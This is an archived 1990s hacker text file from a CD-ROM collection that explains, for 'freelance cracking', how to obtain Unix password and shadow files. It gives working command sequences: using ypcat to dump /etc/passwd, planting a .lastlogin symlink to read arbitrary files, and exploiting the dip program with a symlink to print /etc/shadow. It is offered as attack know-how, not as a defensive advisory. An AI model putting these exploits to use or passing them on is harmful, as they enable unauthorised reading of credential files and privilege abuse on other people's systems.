home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / shadow.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  1.6 KB  |  43 lines

  1. This is by no means a complete or even good list of possible ways to get a
  2. copy of the shadow file, but it's some that work and are pretty handy to
  3. know if you do alot of freelance cracking.
  4.  
  5. Unix including: SunOS, SCO, System V, and others of the like are sometimes
  6. vulnerable to ypcat. This is an old and well known trick but it works.. To
  7. use it simply type ypcat /etc/passwd with your capture option turned on, or
  8. use
  9.  
  10. ypcat /etc/passwd > ~/passwd 
  11.  
  12. and download the passwd file from your home dir.
  13.  
  14. Unix including: SCO, System V 3.2, ?, could be vulnerable to a hole using
  15. the .lastlogin file. In your home directory if a ls -al shows the
  16. .lastlogin to be owned by auth or root or anyone with better security then
  17. you it's good :) To exploit:
  18.  
  19. rm -f ~/.lastlogin
  20. ln -s ~/.lastlogin /etc/passwd
  21.  
  22. Now logout and then back in so you create the link.
  23.  
  24. cat .lastlogin > passwd
  25. rm -f ~/.lastlogin 
  26.  
  27. This hole could have several other uses as well, the fact that it allows
  28. you read access to most any file on the system is a nice gift.
  29.  
  30. Linux including: slackware, ?, not only can the dip hole be used to exploit
  31. root but it can also snag you the shadow file fairly easily. Why you
  32. wouldn't use it to get to root and then just edit/download it I have no
  33. clue but here it is anyways.. To exploit:
  34.  
  35. ln -s /etc/shadow /tmp/dummy.dip
  36. /sbin/dip -v /tmp/dummy.dip
  37.  
  38. Assuming dip is vulnerable this should type the shadow file for you and of
  39. course it's not limited to just reading the shadow file..
  40.  
  41. If you know of other tricks, especially some that defeat linux shadow, and
  42. wish to share them mail Cassidy.. 
  43.